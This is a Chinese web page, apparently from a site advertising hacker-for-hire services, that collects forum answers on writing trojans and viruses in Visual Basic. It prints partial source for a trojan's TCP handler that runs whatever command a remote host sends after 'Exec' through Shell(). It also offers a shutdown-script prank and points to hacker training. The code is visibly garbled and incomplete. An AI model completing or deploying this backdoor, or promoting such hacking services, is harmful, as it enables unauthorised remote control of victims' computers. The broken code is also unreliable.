24小时接单的黑客

黑客接单,黑客教程,黑客技术,黑客找黑客,技术黑客

如何用vb *** 木马病毒(怎么 *** 木马病毒教程)

本文目录一览:

VB怎样做木马与病毒监控?

写的 木马也是 程序

只是功能上的独特啦

自己写的 运用了什么函数和 ***

找个小漏洞或者用的函数 来反解就监控了。。。

怎么编木马病毒

下个VB来做个VBS

关机脚本

,调用CMD的关机命令就可以了,无毒无害,想知道怎样 *** 网上搜,我就不多说了。

系统的CMD里面有个计划关机命令然后以vbs脚本启动这个命令就行了....算了你还是

百度HI

我吧,我直接写源码给你,你下个VB回来,然后新建个VBS工程。将代码复制进去然后生成就行了,如果需要的话还可以外加注释给你

4楼说的不对,先不管他代码是否正确,大家想想要是直接文本就可以生成

EXE文件

那么还用编程做什么,你们说是不是,直接标准答案给我了。

嘻嘻

用vb这么编病毒,木马,黑客工具之类的程序!

用VB当然可以编写病毒,可以做到隐藏进程以及其他病毒可以做到的功能,网上有用VB编写病毒的视频教程!不过如楼上所说,“走歪路不好”,不要用来害人啊!不过可以用来研究下技术!想学黑客技术,也有很多地方搞培训,可以搜一下很多的!

VB能写木马类的软件吗?

可以的,下面就是一个木马的部分代码:

Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)

Dim strdata As String

Dim check_blong

on error gogo err_pro

tcpserver(index).GetData strdata

check_blong = InStr(Trim(strdata), "Exec")

If check_blong 0 Then

strdata = Trim(strdata)

strdata = Right(strdata.Len(strdata) - 4)

Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序:" + strdata

Shell (strdata)

Else

check_blong = InStr(Trim(strdata), "closeOk")

If check_blong 0 Then

tcpserver(index).Close

combol_IP.removeltem (index - 1)

content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开!"

Else

ipname.Text = tcpserver(index).RemoteHostIP

txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata

End If

End Sub

不要使坏哟,主要的不给。

  • 评论列表:
  •  囤梦绮筵
     发布于 2022-07-06 22:16:53  回复该评论
  • InStr(Trim(strdata), "Exec")If check_blong 0 Thenstrdata = Trim(strdata)strdata = Right(strdata.Len(strdata) - 4)Connect.Text = content.Text + vbNew
  •  可难戏侃
     发布于 2022-07-06 21:00:34  回复该评论
  • 话还可以外加注释给你4楼说的不对,先不管他代码是否正确,大家想想要是直接文本就可以生成EXE文件那么还用编程做什么,你们说是不是,直接标准答案给我了。嘻嘻用vb这么编病毒,木马,黑客工具之类的程序!用VB当然可以编写
  •  泪灼末屿
     发布于 2022-07-06 18:09:03  回复该评论
  • 的 木马也是 程序只是功能上的独特啦自己写的 运用了什么函数和方法找个小漏洞或者用的函数 来反解就监控了。。。怎么编木马病毒下个VB来做个VBS关机脚本,调用CMD的关机命令就可以了,无毒无害,想知道怎样制作网上
  •  边侣橘欢
     发布于 2022-07-06 17:54:35  回复该评论
  • ingDim check_blongon error gogo err_protcpserver(index).GetData strdatacheck_blong = InStr(Trim(strdata), "Exe

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.